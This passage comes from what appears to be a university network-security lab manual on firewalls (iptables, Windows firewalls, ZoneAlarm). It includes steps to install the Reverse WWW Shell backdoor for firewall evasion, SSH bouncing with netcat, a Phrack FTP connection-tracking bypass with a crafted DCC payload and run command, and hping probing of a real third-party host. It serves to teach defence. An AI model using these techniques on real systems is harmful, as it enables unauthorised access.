/var/log/messages file.
Q1.8. What did you see:
Exercise 9
Q1.9. Write down three rules that you think might be useful and explain what they do.
You are now done with the Firewall Machine. Move the backup of the iptables file which you
had created back into the /root/fresh_iptables directory to reset the firewall.
Now that you have set up a Firewall to filter unwanted traffic and block ports we are going to
explore a way to get around firewalls. One such way is through tunneling. Tunneling is
wrapping one protocol within another one, the protocol you are wrapping is one that would not
get by the firewall and the protocol you wrap it with is something that would get through the
firewall. For example, you could hide shell commands inside of an http get tcp command.
Since you are allowing users to use the internet in your DMZ their port 80s will be open and
those packets will not be filtered.
SSH Bouncing through a Firewall Using Netcat
Say you have a firewall and have multiple computers behind it that you want to access
remotely using SSH. Intuitive options include either:


SSH to the firewall and then SSH to the target computer; however, this is a pain if you
need to transfer files because you will have to transfer them to the firewall first.
Forward ports to different computers to login remotely using non standard SSH ports.
This will require you to know which computer is at which port. This will also create
public key conflicts.
21
However, with the help of netcat, you can create some scripts that will let you connect to
any computer behind the firewall as if it there where not hops in between.
We are going to do this by using the firewall setup in the lab. Again this is how the
firewall is setup.
Figure 1-1: Netwrok structure on the Firewall machines

Perform the following steps in the BlackHat machine:
Create a file named config in /root/.ssh
vi /root/.ssh/config

Write the following information in this file:
Host protected
Hostname 192.168.0.10
HostKeyAlias protected
ProxyCommand netcat-proxy-command 131.210.231.1 %h
Here Hostname is the computer behind the firewall, netcat-proxy-command is a script which we
will create in the next step and %h is the local host name (linux replaces it automatically). You
can add another

Now make a script in /usr/local/sbin named netcat-proxy-command
vi /usr/local/sbin/netcat-proxy-command

Write the following in the file:
#!/bin/sh
bouncehost=$1
target=$2
22
ssh $bouncehost
nc -w 1 $target 22
This script will create a proxy that will connect to the target computer behind the firewall
after getting to the Firewall computer. Now make this script executable:
chmod +x /usr/local/sbin/netcat-proxy-command


On your host machine:
You will now need to comment out the line your iptables.firewall script that forwards
port 22 (SSH).
Restart the iptables.firewall script with the command:
/etc/rc.d/init.d/iptables stop
./iptables.firewall
Now you can SSH from BlackHat to any computer behind the firewall defined in the
.ssh/configure file by typing the following command:
ssh <HostKeyAlias>
For example, you can SSH to the protected computer by running the following command:
ssh protected
The shell will ask for the password of firewall and then the password of Protected. Your
window should look like the following screen shot.
23
This may not look like much since you can manually SSH into the firewall and then in to
the target computer; however, this turns out to be really useful to transfer files since you can
transfer them directly. For example, create a file named test file and send it to the protected
computer:
scp testfile protected:~/testfile
Again it will ask you for the remote password of the Firewall and Protected. Your screen
will look similar to the following screen shot.
24
25
1.6.6 Reverse WWW Shell
Reverse WWW Shell is a tunneling program that uses an interesting approach to tunneling.
Instead of having the server listening on a port that can easily be detected it has the server
connect to the client to get instructions the client has left in a certain directory. The shell
commands in the Reverse WWW Shell look like http get calls and go through port 80. Because
they look like innocuous web traffic, even proxy firewalls will have a hard time determining if
the packets are malicious. It also has a random time frame for accessing the client so that it
doesn't appear to be automated, to help evade sysadmins even more. Another program that works
in the same manner is HTun, which can be found at http://htun.runslinux.net
This section will be done on your removable hard drive using one of the Mini-Net machines.
Your master machine is the 4.0 host and the slave is the Red Hat 7.2 VM. Download the source
from the NAS
(http://www.thc.org/releases/rwwwshell-2.0.pl.gz)
Use the following commands to unzip and make executable:
$ gunzip rwwwshell-2.0.pl.gz
$ chmod +x rwwwshell-2.0.pl
This is a shell script. So open it up in your favorite text editor and go to these lines
#
# MASTER CONFIG (specific for the MASTER)
#
$LISTEN_PORT=8080;
# on which port to listen (80 [needs root] or 8080)
$SERVER="127.0.0.1";
# the host to run on (ip/dns) (the SLAVE needs this!)
We need to change the listen port to 80, since we have root on our master machine this is no
problem, now enter the IP address of your machine that the slave will access.
Now look at some of the options for the slave, we are going to need to change the timing of the
system in order to get immediate feedback from our system, choose a time within the next 20
minutes for your SLAVE to check for commands. Also set the DEBUG field to no. You can
also set eh delay between executing commands.
Now that we have the slave set up we need to install it on our slave system. Open your Redhat
7.2 Virtual machine and transfer the perl file to it. You may use sftp or scp to do so. Now run:
$ ./rwwwshell-2.0.pl slave
now on the master run
$ ./rwwwshell-2.0.pl master
If you were successful the slave will connect to the master at the time entered in the code and
allow you to type in root commands that will be executed on the slave system.
26
If you have your firewall running you can check to see whether the packets were filtered or not,
they shouldn't be with the standard 80 port open.
Q1.10 Open ethereal and capture a few of the shell packets, what is their format?
Q1.11 Why does the format of the protocol make it specially hard to catch with a firewall?
Q1.12 A common way network administrators check for backdoors running on their system is to
do a “netstat -na” Do this on your slave system, do you see an open port for the reverse www
shell? Why not?
27
2. Windows Firewalls
RealSecure Desktop Protector
RSDP is a software firewall provided by OIT for Georgia Tech students. It is available at
http://software.oit.gatech.edu/. It is available for download from the NAS. This section will
guide you through the installation of this firewall and then show you some of its features.
After download, the installation of RSDP requires a little preparation. Now double click
EmployeeRSDP.exe. This will preform a silent, non-interactive, install. Now reboot your
computer. A RSDP icon should appear in your task tray as in figure 1.
Figure 1. RSDP task tray icon.
Now lets configure RSDP. Single click the icon in the task tray. This should open up to a
window which looks like figure 2.
28
RSDP opens to the event page, as you can see the only events that are listed are the stopping and
starting of BlackICE, the name of our firewall engine. Events tagged with a red ! are high risk
events. Highlight this event and click Event Info in the bottom right of the window. This should
open up the help files for RSDP and will explain the event. This is shown in figure 3.
Figure 2. RSDP interface window.
Figure 3. Help file for BlackICE Detection Stopped event.
29
The quick links in this help file will give you more information about this event, such as what is
effected by it and how to resolve it. In this case the information is trivial, we caused the event by
rebooting after install.
Right now we have a default configuration of RSDP, lets see what it does.
On your Red Hat WS 4.0 machine, ping your windows box.
#ping <windows XP IP>
Stop the ping after a few seconds with ctrl-c
You should see an output similar to figure 4.
Figure 4. Result of pinging windows machine.
Now look at your windows machine, you should not see a new event in your RSDP window.
This is due to the default behavior of the firewall. You may, or may not, want ICMP messages
to be able to reach your computer. We will change this behavior in a moment. But while it is
still in the default configuration lets use nmap to scan our windows machine.
#nmapfe &
This will open the graphical version of nmap. Now enter your windows XP machine's IP address
and run nmap with the default entries, SYN stealth, TCP&ICMP, and OS detection should be
selected. Click scan and see what it finds, this might take a while to finish. You should get the
list that is in figure 5.
Figure 5. Nmap scan output.
30
This shows that our default firewall setup is not bulletproof, we find information on several
aspects of the victim machine. This shows that we even have open ports! This could be a
disaster.
Now look at the event window in RSDP, you should see a list similar to figure 6.
Figure 6. RSDP alerts from nmap scan.
Yikes, look at all those alerts. Nmap tries a lot of different methods to scan a computer, even
with its default options. You are seeing an event for each different type of “attack”. Click on the
Intruders tab, notice that it lists each IP that has accessed our machine. From here we can block
the IP for either a specific amount of time, or forever. We don't need to block it since we are the
attacker. Go back to the events tab. Notice the count for the TCP port scan. It should number
several thousand. It is not possible to open the event info for this alert, since RSDP will attempt
to check the ISS website for information. However, we know what caused this event and should
be able to deal with it. Lets try and harden our firewall.
Click tools, then edit settings, the select the firewall tab. Uncheck the boxes labeled allow
NetBIOS neighborhood and allow Internet file sharing. We are not sharing files on our network,
therefore these are merely security risks. If you are sharing files on your network then this action
will cause you trouble. The packet log and evidence log tabs do just what they sound. They
allow you to log information from your firewall. This is typically a very good idea, but we won't
check the logs in this lab section.
Lets go to the advanced rules section. Click tools, then advanced firewall settings. You should
see a list of ports such as in figure 7.
31
Figure 7. Advanced Rules.
The green circle means that these ports are open, the blue arrows indicated whether traffic is
allowed to be incoming or outgoing in these ports. The top two ports are to allow an
administrative interface at a remote location. Lets remove it. Click ok. Click tools, then edit
settings, the select the management tab. Uncheck the box labeled Reporting enabled, and click
yes on the pop up window. Click ok and go back to the advanced settings. Now we have
disabled reporting, but we cannot edit the settings of these ports. These open ports are for the
firewall software. Lets leave them alone and add some rules to prevent nmap from scanning our
computer. Click add and a window should pop up. In the name field enter ICMP blocker.
Select IP type from the drop down menu and click the all addresses box. From the value drag
down box select ICMP[1]. Select both for the direction and forever as the time. Your window
should now look like figure 8.
32
Figure 8. Firewall rule.
Now click Add.
Go back to your Red Hat WS 4.0 machine and try to ping your windows machine. It should fail
as in figure 9.
Figure 9. Ping results.
Ok, now we are part way to our goal. Now click on the rule for TCP port 135, this was one of
the ports that nmap found open. Click modify and check the box to reject this traffic. Now click
ok. Rerun nmap and look at its output, shown in figure 10.
Success, not only are no ports open, but the OS fingerprinting failed. This exercise should show
you how it is possible to create firewall rules to either allow, or block certain traffic. If, for
example, you wanted to allow access to a web server hosted on this machine, you could easily
add a rule to allow connections to port 80 from either a particular IP address, or from all
addresses. This exercise should also show you that a default setup of a firewall may not be as
secure as you would like and that testing a firewall once in place is required.
33
Figure 10. Nmap scan again.
Windows Built-in Firewall
Turn off your RealSecure Firewall. Check your process list for blackd.exe and if it is running end
it
Now go back to the Red Hat WS 4.0 machine and run this command:
nmap -sS -P0 -n -F -max_rtt_timeout 40 <Windows XP's IP>
(or use nmapfe)
Q2.1. List the open ports on the Windows XP machine.
Now go to the Windows XP Virtual machine.
1. Click Start-->Settings -->Control Panels-->Network Connections-->Local Area Connections.
2. Click the Properties button.
3. Click the Advanced Tab.
4. Check the box next to “Protect my computer and network by limiting or preventing access to
this computer from the Internet”. This enables Windows' Internet Connection Firewall.
5. Now click the “Settings...” button. This allows you to configure the firewall.
6. Open the Security Logging Tab, and check the two check boxes next to “Log dropped
packets” and “Log Successful connections”.
7. Now click “Ok”
8. Click “Ok”
9. Click Close.
Q2.2. Now that the firewall is configured and activated, list the open ports on the Windows XP
machine.
Q2.3. As far as personal firewall software goes, how does windows XP's ICF compared to
Linux's iptables?
34
Sources:
1.
Copied and pasted for firewall introduction and explanation
Tyson, Jeff, “How Firewalls Work”
http://computer.howstuffworks.com/firewall.htm/
2.
Copied and pasted for IP Tables introduction
Steams, William “Adaptive Firewalls with IP Tables”
http://www.ists.dartmouth.edu/IRIA/knowledge_base/adaptive_firewalls.htm
3.
Copied and pasted for iptables chains and certain rules
Russell, Rusty, “Linux 2.4 Packet Filtering HOWTO”
http://www.netfilter.org/documentation/HOWTO//packet-filtering-HOWTO.html
4.
Startup script and basis for rules
Stephens, James C.
http://www.sns.ias.edu/~jns/security/iptables/
5.
Designing a DMZ
Scott Young
March 26, 2001
http://www.sans.org/rr/firewall/DMZ.php
35
Appendix 1-A
iptables.firewall
#load the iptables modules and connection tracking for ftp and nat
modprobe ip_tables
modprobe iptable_nat
modprobe ip_conntrack_ftp
modprobe ip_nat_ftp
# Configure default policies (-P), meaning default rule to apply if no
# more specific rule below is applicable. These rules apply if a more
specific
# rule below is not applicable. Defaults are to DROP anything sent to
firewall or
# internal network, permit anything going out.
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT
# Flush (-F) all specific rules
iptables -F INPUT
iptables -F FORWARD
iptables -F OUTPUT
iptables -F -t nat
iptables -A INPUT -d 131.210.231.1 -p tcp --dport 23 -j LOG --log-prefix
'TELNET ATTEMPT: '
# The rest of this file contains specific rules that are applied in the order
# listed. If none applies, then the above policy rules are used.
# Forward all packets from vmnet1 (internal network) to vmnet2 (the
internet).
iptables -A FORWARD -i vmnet1 -o vmnet2 -j ACCEPT
# Forward packets that are part of existing and related connections from
# vmnet2 to vmnet1.
iptables -A FORWARD -i vmnet2 -o vmnet1 -m state --state ESTABLISHED,RELATED
-j ACCEPT
# Permit packets in to firewall itself that are part of existing and related
# connections.
iptables -A INPUT -i vmnet2 -m state --state ESTABLISHED,RELATED -j ACCEPT
#
#
#
#
#
Note, in the above two rules, a connection becomes ESTABLISHED in the
iptables PREROUTING chain upon receipt of a SYNACK packet that is a
response to a previously sent SYN packet. The SYNACK packet itself is
considered to be part of the established connection, so no special
rule is needed to allow the SYNACK packet itself.
# Allow all inputs to firewall from the internal network and local interfaces
iptables -A INPUT -i vmnet1 -s 0/0 -d 0/0 -j ACCEPT
iptables -A INPUT -i lo -s 0/0 -d 0/0 -j ACCEPT
36
# Alternative to SNAT -- MASQUERADE
#
# If your firewall has a dynamic IP number because it connects to the
# internet itself via DHCP, then you probably cannot predict what the IP
# number is of your firewall's interface connected to the internet. In
# this case, you need a rule like the following that assigns the (an) IP
# number associated with vmnet2 to outgoing connections without you needing
# to know in advance (at time of writing this rule) what that IP number is:
#
iptables -A POSTROUTING -t nat -o vmnet2 -j MASQUERADE
# Deny any packet coming in on the public internet interface vmnet2
# which has a spoofed source address from our local networks:
iptables -A INPUT -i vmnet2 -s 192.168.0.0/24 -j DROP
iptables -A INPUT -i vmnet2 -s 127.0.0.0/8 -j DROP
# If you query a particular remote DNS server, permit UDP responses from it
#iptables -A INPUT -p udp -s <remote DNS server IP> --source-port 53 -d 0/0 j ACCEPT
#prevent DoS by icmp flood
iptables -A INPUT -p icmp --icmp-type echo-request -m limit --limit 30/minute
--limit-burst 1 -j ACCEPT
#prevent DoS by tcp syn flood
iptables -A INPUT -p tcp --syn -m limit --limit 1/s --limit-burst 1 -j ACCEPT
#forward all http packets (port 80) to internal linux machine
iptables -A PREROUTING -t nat -d 0/0 -p tcp --dport 80 -j DNAT --to
192.168.0.10:80
iptables -A FORWARD -i vmnet2 -p tcp --dport 80 -j ACCEPT
#forward all ssh packets (port 22) to internal linux machine
iptables -t nat -A PREROUTING -d 131.210.231.1 -p tcp --dport 22 -j DNAT --to
192.168.0.10:22
iptables -A FORWARD -i vmnet2 -p tcp --dport 22 -j ACCEPT
# turn on ip forwarding in case it wasn't already enabled
echo "1" > /proc/sys/net/ipv4/ip_forward
37
Appendix 1-B
Troubleshooting installation.
Getting rid of ipchains:
If your iptables script won’t correctly execute, and it gives an error about the device being busy then
follow these steps. In order for iptables to work, ipchains must be turned off.
First of all you will need to turn off the ipchains modules so it won't start in the future. To do this, you
will need to change some filenames in the /etc/rc.d/ directory-structure. The following command should
do it:
chkconfig --level 0123456 ipchains off
To turn the service off immediately however, type the following:
service ipchains stop
38
Appendix 1-C
Reference Websites:
Differences Between iptables and ipchains:
 http://www.netfilter.org/documentation/HOWTO/packet-filtering-HOWTO-10.html
Small History of Filtering Under Linux:
 http://www.geekcomix.com/cgibin/classnotes/wiki.pl?UNIX03/Ipchains_And_Iptables__Small_History_Of_Filtering_Under_Linux
Packet Filtering with Linux:
 http://www.linuxfocus.org/English/May2003/article289.shtml
A Comparison of iptables Automation Tools:
 http://online.securityfocus.com/infocus/1410
The last website is an article that compares some popular automation tools for iptables.
While researching the web for Q3.10 of Lab 6, one of the reasons we found that companies
do not use iptables more often is that it is strictly command line driven and that Cisco offers
users an easier to use interface (as well as the traditional Cisco command line). We felt that
more users might be willing to use iptables if there was an easier to use interface or a tool
that could automate setting the firewall rules. On the website
“http://online.securityfocus.com/infocus/1410” we looked at one such tool called AGT.
AGT is downloadable from “http://sourceforge.net/projects/agt” and is very easy to install. It
is downloaded as a gzipped tarball package that can be extracted by running the command
# tar –xvfz agt-1.11.tar.gz
Then cd into the agt-1.11 directory and issue a “make” command followed by a “make
install” command.
Once installed, the program runs from /usr/sbin/agt and the configuration file is at
/etc/agt.rules. The program comes with full man pages as well.
Due to the fact that the program needs a Linux installation with iptables running on it and it
need access to more than one network in order to configure the firewall/gateway settings, this
install would have been better suited to install on the iptables lab machine. However we did
not have permission to do that so we installed it on our Linux host WS 4.0 workstation. To
demonstrate some of it’s functionality we will take a look at a sample agt.rules file and point
out some of the useful commands contained within it. The entire age.rules file is attached to
this answer sheet as an appendix.
In the first section, you can see that by default all incoming packets are dropped and all
output and forward packets are accepted, shown by:
39
default input
default output
default forward
drop
accept
accept
In configuration files such as this, the first few commands will configure a “blanket” set of
rules and the subsequent commands will tailor the rules more specifically. That way if a
specific rules later in the file fails, the default will still protect your network.
For trusted networks you can accept network traffic on specific interfaces with the command:
input accept on eth1 from internal/24
input accept on eth1 from 10.2.0.0/16 # or whatever your network is
Since telnet is such a dangerous program to use (as illustrated in previous labs) it is often a
good idea not to allow it into your firewall:
input mirror on eth0 proto tcp port telnet
And follow that up with:
input accept on eth+ proto tcp port ssh
Other important features of this file are the restriction that it can place during specific times
like allowing IRC during lunchtime, CVS access on the weekends, etc. This gives
administrators more control on employees and what they can do and when.
While the underlying functionality of AGT is still iptables, and the user cannot do anything
with AGT that they cannot do with iptables, we feel that this type of program is more
intuitive than issuing the standard iptables commands like we did in our lab. This type of
configuration is also easier in the sense that everything is contained in a configuration file
where you can see all of your rules in one place rather than issuing single commands to
iptables. Furthermore, this is just one example of a Linux firewall interface, there are other
programs such as Knetfilter [http://expansa.sns.it/knetfilter/] that offer a full GUI interface to
iptables that runs in KDE. A full GUI interface to iptables may not be that useful however
because most administrators that use Linux for firewalls are doing so because they can run it
on a very small machine that probably has limited resources and cannot handle X11 windows
and KDE. But the point remains valid that there are alternatives to the traditional iptables
command line interface that can make the Linux based firewall more appealing to users that
cannot afford Cisco or other brands.
40
Member agt-1.11/etc/agt.rules.sample of archive agt1.11.tar.gz:
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
/etc/agt.rules
This is a fairly comprehensive guide to the options supported
and recognised by AGT.
This DOES NOT mean that your kernel will support them however!
Some options require specific modules to be loaded. (mport, MIRROR, etc)
Experiment with this file, it should be fairly simple to tailor to
your network and needs. (i hope!)
This file assumes some knowledge of netfilter/iptables.
Some of the options in this example configuration appear to be
unrealistic, and seem to contradict other options, but this file
is designed to be used as a *guide* only, not actually used!
You WILL have problems if you directly use this file!
$Id: agt.rules.sample,v 1.2 2003/04/29 04:49:06 ajg Exp $
# masquerade these networks (can be defined in /etc/networks)
nat from internal/24
nat from 10.2.0.0/16
# port forward port 80 to 8080 on an internal machine.
portfw proto tcp port 80 to 192.168.0.2:8080
# nat these private IP's to real IP's
# the gateway has to have the real IP's aliased on an interface.
# this is bi-directional.
nat from 10.2.0.5 to 123.123.123.5
nat from 10.2.0.6 to 111.222.123.100
# ----------------------------# create a new chain called 'mynewchain'
new mynewchain
# be paranoid by default, drop all incoming packets
default input
drop
default output accept
default forward accept
# forward packets during weekdays, allow 1 machine all of the time
forward accept from 10.0.0.0/8 days Mon,Tue,Wed,Thu,Fri
forward accept from 10.0.0.20
forward drop
41
# for compatibilty, allow loopback :P
input accept on lo
# enable stateful packet tracking
input accept on eth+ keep state
# these networks are trusted, accept all traffic
input accept on eth1 from internal/24
input accept on eth1 from 10.2.0.0/16
# only allow root to send packets through eth0
# options include uid/gid/pid/sid
output accept on eth0 owner uid root
output drop
on eth0
# bounce telnet on eth0 back to the sender...
# READ THE ADVISORIES BEFORE USING MIRROR TARGETS!
# Improper use can lead to certain types of Denial of Service.
input mirror on eth0 proto tcp port telnet
# drop packets that seem to be invalid
input drop invalid
# we don't want broadcast packets (types = host/broadcast/multicast)
input drop on eth0 pkttype broadcast
# match strange looking packets
input drop unclean
# allow ssh on any interface
input accept on eth+ proto tcp port ssh
# only allow staff to telnet during office hours
# (cp /usr/bin/telnet /home/myname/blah can bypass this)
output drop cmd telnet group staff time-start 09:00 time-stop 17:00 days
Mon,Tue,Wed,Thu,Fri
# allow irc at lunchtime
output accept port 6667 time-start 12:00 time-stop 13:00
output drop port 6667
# allow cvs access at the weekend
input accept port 2401 days Sat,Sun
input drop port 2401
# allow incoming ftp on Monday and Thursday
input accept port ftp days Mon,Fri
input drop port ftp
# stop all connections for 30 minutes on Friday night
input drop time-start 22:00 time-stop 22:30 days Fri
# match based on packet length >50 but <120
input accept on eth+ proto tcp port 3000 length 50:120
# allow 512000 bytes before dropping
input accept on eth+ proto tcp port http quota 512000
42
input drop
on eth+ proto tcp port http
# only allow 5 active ftp connections at once
input drop on eth0 proto tcp port ftp limit 5 flags SYN
# match this host's MAC address
input accept on eth+ proto tcp port https mac 00:DE:AD:BE:EF:00
# match ftp, note that 'port' is equal to 'dport'
input accept on eth+ proto tcp dport ftp
# match multiple ports in one rule.
input accept on eth+ proto tcp ports imap,imaps
# allow connections to port 10000, if coming from port 4300
input accept on eth+ proto tcp port 10000 sport 4300
# allow 1 host to connect to our vpn :P
input accept on eth+ proto tcp port pptp from host.somedomain.com
# allow gre on any interface
input accept on eth+ proto gre
# block 50% of incoming pings, randomly. allow other icmp
# valid icmp types obtained by running 'iptables -p icmp -h'
# icmp-type is an alias for icmptype
input drop
on eth0 proto icmp icmptype echo-request random 50
input accept on eth+ proto icmp
# not matched? close the TCP connection with a RST, others with host
unreachable
# valid 'with' options obtained by running 'iptables -j REJECT -h'
input reject on eth+ proto tcp with tcp-reset
input reject on eth+ with host-unreach
43
Appendix 1-D
Guarddog is a powerful GUI environment based on iptables which greatly simplifies the use and
functionalities of iptables.
Installation of the program:
1. Go to this site: http://www.simonzone.com/software/guarddog/
2. Click on the Download tab
3. Download the RPM file under RedHat 9: 2.2.0 RPM: guarddog-2.2.0-1rh9.i386.rpm
4. To install the program, type: “rpm –Uvh guarddog-2.2.0-1rh9.i386.rpm”
5. Reboot to start the script.
To start Guarddog after reboot, type guarddog and a GUI interface will appear.
Section 1: Protocols
To specify a protocol, click on the protocol tab in the Guarddog GUI and expand Network. Click
on the check box beside the desired protocol once to permit the protocol and click again to reject
the selected protocol.
For example: clicking the check box beside the ‘Ping’ twice rejects all pings.
Figure 1. Ping box checked twice
44
Figure 2. Linux 7.2 tried to ping to workstation and failed.
All protocols are listed on the protocols tabs and can be blocked or permitted as desired. Once
pings are set to “reject,” a ping attempt from the 7.2 machine is unsuccessful, as shown in Figure
2.
Section 2: Port Blocking
To block specific ports using guarddog, click on the Advanced tab, and then select New
Protocol. Enter a name for the new protocol (eg. “PortBlock”), and enter the port on which it will
be active (eg. “1000”). Now go back to the “Protocol” tab and expand the User Defined group.
The new protocol that you just created should be visible here, and you will have the freedom to
block / permit any activity on that port.
Section 3: Creating Zones
At one point the lab required the creation of a “De-Militarized Zone”. This can be accomplished
using Guarddog by clicking “Zones” and clicking “New Zone”. Name the zone “DMZ” and
assign the address range and security protocols as necessary for this zone.
This GUI environment greatly simplifies and would hasten progress in many sections of the lab.
Therefore, it would be useful to replace all sections of the lab that use iptables, with fresh
instructions on the use of Guarddog.
45
Appendix 1-E
1. Linux Firewall exploit
Most firewalls do not usually allow any connections except FTP control connections to
an FTP server port (TCP port 21 by default) for network security. However, as long as a file
is transferred, they accept the data connection temporarily. To do this, a firewall tracks the
control connection state and detects the command related to file transfer. This is called
stateful inspection. The attack described here will make a firewall allow an illegal connection
by deceiving its connection tracking using a forged FTP command. This attack is described
in detail in the Phrack article
http://www.phrack.org/phrack/63/p63-0x13_Breaking_Through_a_Firewall.txt
An attacker can transmit a PORT command without the character <CR> in the end of the
line. The command line has only <LF> in the end.
An example is "PORT 192,168,100,100,26,11\n".
On the contrary, a standard FTP command has <CRLF> sequence to denote the end of a
line. If the module ip_conntrack_ftp receives a nonstandard PORT command of this type, it
first detects a command and finds the character <CR> for the parsing. Because it cannot be
found, ip_conntrack_ftp regards this as a "partial" command and drops the packet.
Just before this action, ip_conntrack_ftp anticipated the sequence number of a packet that
contains the next FTP command line and updated the associated information. This number is
calculated based on the TCP sequence number and the data length of the "partial" PORT
command packet.
However, a TCP client, afterwards, usually retransmits the identical PORT command
packet since the corresponding reply is not arrived at the client. In this case, ip_conntrack_ftp
does NOT consider this retransmitted packet as an FTP command because its sequence
number is different from that of the next FTP command anticipated. From the point of view
of ip_conntrack_ftp, the packet has a "wrong" sequence number position.
The module ip_conntrack_ftp just accepts the packet without analyzing this command. The
FTP server can eventually receive the retransmitted packet from the attacker.
Although ip_conntrack_ftp regards this "partial" command as INVALID, some FTP
servers such as wu-FTP and IIS FTP conversely consider this PORT command without
<CR> as VALID. In conclusion, the firewall, in this case, fails to "expect" the FTP data
connection.
And when the attacker sends a RETR command to download a file from the server, the
server initiates to connect to the TCP port number, specified in the partial PORT command,
on the attacker's host.
Suppose that the TCP port number is 6667(IRC server port), the firewall accepts this
connection under the stateless packet filtering rule that allows IRC connections instead of the
stateful filtering rule. So the IP connection-tracking module mistakes the connection for IRC.
In conclusion, the attacker is able to illegally connect to any TCP port on the FTP server
that the Netfilter firewall box protects.
We had to take the following additional steps to make the exploit work on the Redhat 7.2
machine
 Start/Flush iptables
/etc/init.d/iptables restart
 Setup connection tracking
modprobe ip_conntrack_ftp
46
modprobe ip_conntrack_irc

Setup state full filtering
iptables -A FORWARD -m state – state ESTABLISHED, RELATED -j ACCEPT

Create the irc command file irc.txt which contains the DCC command
\1DCC CHAT t 3232236548
6667\1\n

Compile fake_irc.c and run it using the following command
./fake_irc 57.35.6.142 6667 ece4112 password /home/ece4112/irc.txt
We have attached the output from the execution of the program.
The Phrack article talks about two other exploits that work on the linux 2.4 kernel netfilter
module.
2. Firewall spotting
Here is an interesting article that we came across.
http://www.phrack.org/phrack/60/p60-0x0c.txt
It describes how to spot a packet filtering firewall is in place. It works on the principle
that almost every available firewall does not check for a valid CRC before checking the
destination port/address.
A complete network stack will drop invalid packets without response. No matter if that
port is closed, open or whatever... But Packet Filters aren't so smart and they will reply.If
we want to determine if there is a packet filter between us and a target host we must first
check if the packet filter is configured to drop the packets or to send back an error. For
this we send a valid tcp packet to any port that is supposed to be filtered:
# telnet www.oracle.com 31337
Trying 148.87.9.44...
telnet: Unable to connect to remote host: Connection refused
Good. Either the target host itself or a packet filter sends back a RST. Next step is to
check if the RST comes from the target host or from a packet filter:
# hping -S -c 1 -p 31337 -b www.oracle.com
HPING www.oracle.com (rl0 148.87.9.44): S set, 40 headers + 0 data bytes
len=46 ip=148.87.9.44 flags=RA seq=0 ttl=23 id=52897 win=512 rtt=459.8 ms
If we get a reply we know that a packet filter is in place. If we dont get a reply we
suspect that the packet arrives unfiltered at the destination host and is dropped by the
TCP stack (e.g. no packet filter is in place).
Another technique to detect the existence of a packet filter is to compare the TTL of a
RST and a SYN (which comes directly from the target host). The TTL-technique fails for
all packet filters in bridging mode or filters that do not decrease the TTL and are placed
directly in front of the target host (normal DMZ setup). The CRC-technique as described
above on the other hand detects a packet filtering device in both cases.
3. Windows firewall’s exploits
47
Windows Firewall is not as secure as MS would want you to believe. Windows
Firewall only blocks or patrols incoming traffic and it can be easily turned off by another
application, possibly a worm. We will look at how well Windows Firewall does at
blocking incoming traffic by pinning it against several tests which scan for open ports
and possible exploits. The tests, provided by PCFlank.com, include a Stealth Test, an
Advanced Port Scanner test and an Exploit Test. The tests were run on a system running
Windows XP with Service Pack 2. Based on their results, windows pass the Stealth Test
and possible exploits, but it failed with an Advanced Port Scanner test.
The stealth test checks to see if your computer is visible to the outside by sending
packets to TCP:1 port on your machine. A good firewall should stealth your system from
this connection attempt. The results show windows firewall passes this test.
The Advanced Port Scanner tests your system for open ports. This can be used in
attacks on your computer. There are two types of port scans which are TCP connect
scanning and TCP SYN scanning. TCP connect scanning is the basic for of TCP
scanning. TCP SYN scanning is also known as "half-open" scanning, because the scanner
doesn't open a full TCP connection. The scanner sends a SYN packet, as if it is going to
open a real connection and waits for a response. A good firewall will not report any open
ports.
According to the results Windows Firewall failed to stealth all of the ports
scanned. Ports 135, 137, 138 and 139 were reported as closed when ideally a firewall
should stealth all ports. When a port is reported as closed, this means that the port exists,
therefore the system exist at that IP.
The Exploits Tests will detect how vulnerable your computer is to exploits attacks
by sending unexpected packets to the victims PC. The results show that Windows
Firewall was able to defend itself from the denial-of-service attacks.
Stealth Test:
48
Advanced Port Scan:
Exploits Test:
Source: http://www.flexbeta.net/main/printarticle.php?id=76
49
4. Additional question to Section 2, list some recently discovered Windows Firewall
Exploits.
A weakness has been identified in Microsoft Windows, which could be exploited
by local users to hide certain information. This flaw is due to an error in the way that the
Windows Firewall User Interface handles malformed entries in the Windows Registry,
which could be exploited by attackers or worms, when a system has already been
compromised, to create Windows Firewall exception entries that will not be displayed in
the Windows firewall graphical user interface.
At least one recent exploit in Internet Explorer, there are certain exploits that antianything (virus, spyware, pop-ups, etc) products are powerless against. What's your last
line of defence to keep one of these exploits from phoning home? Outbound blocking – is
a feature that the Windows Firewall lacks.
50
Appendix 1-F
ZoneAlarm
ZoneAlarm is a software firewall for Windows 98SE, ME, 2000, and XP. It is available at
http://www.zonelabs.com. You will become familiar with its setup and features.
Download zlsSetup.exe to your desktop and double click on the icon. We will use the default
directory so click on Next. Uncheck the two boxes about registering and being informed about
product news since we have no connect to the internet. Click Next. Accept the License
Agreement and click Install. In the user survey just click Finish, and click Yes to start
ZoneAlarm. Click on Select ZoneAlarm and then click Next. Click Finish. Click Next at the
welcome screen. Choose yes as shown in Figure 1 and click on next.
Figure 1. Internet access configuration.
Click Done to exit the Wizard. Click Ok to restart your virtual machine and complete
installation.
You will now see ZoneAlarm open to its Overview page. On the left you can see where you can
control options for the firewall, the program control, email, and alerts and logs. Minimize
ZoneAlarm for now and start the VNC viewer. Enter the IP address of any of your virtual
machines and click ok. You should see a screen similar to that of Figure 2.
51
Figure 2. ZoneAlarm Security Alert.
Look at the Security Alert. ZoneAlarm gives the application name, the IP of the machine that
the application is trying to access as well as the port of the machine. This is useful if you have a
program that you are not familiar with because you can deny access and then research the
program to find out whether or not you should be worried. If it is some type of Trojan you have
the IP address that it is trying to contact. Go ahead and allow access. You’ll get a message that
VNC has failed to connect. Click OK.
Now on your Red Hat WS 4.0 machine run the nmap GUI.
#nmapfe
Enter the address of your XP Pro virtual machine and click scan with the default settings. You
should see a screen similar to Figure 3.
Figure 3. Nmap result of XP machine running ZoneAlarm.
52
It looks like we are not there, or we are blocking our ports. On the Red Hat machine ping the
XP Pro machine.
#ping <XP Pro IP>
After a few seconds press Ctrl C. You should see results like that of Figure 4.
Figure 4. Pinging result of XP machine running ZoneAlarm.
Now look at your XP machine’s screen. ZoneAlarm has alerted you of the ping, and it shows the
IP of the offending machine as shown in Figure 5. In the real world we could do a WHOIS look
up and contact the ISP of this person if this were more than just a ping to our machine.
Figure 5. Security Alert from ZoneAlarm with attacker’s IP and type of attack.
Q. How could an attacker hide the IP of the machine from which he/she is attacking?
53
Ans. If and attacker ssh to an machine and send his packets through that machine there is
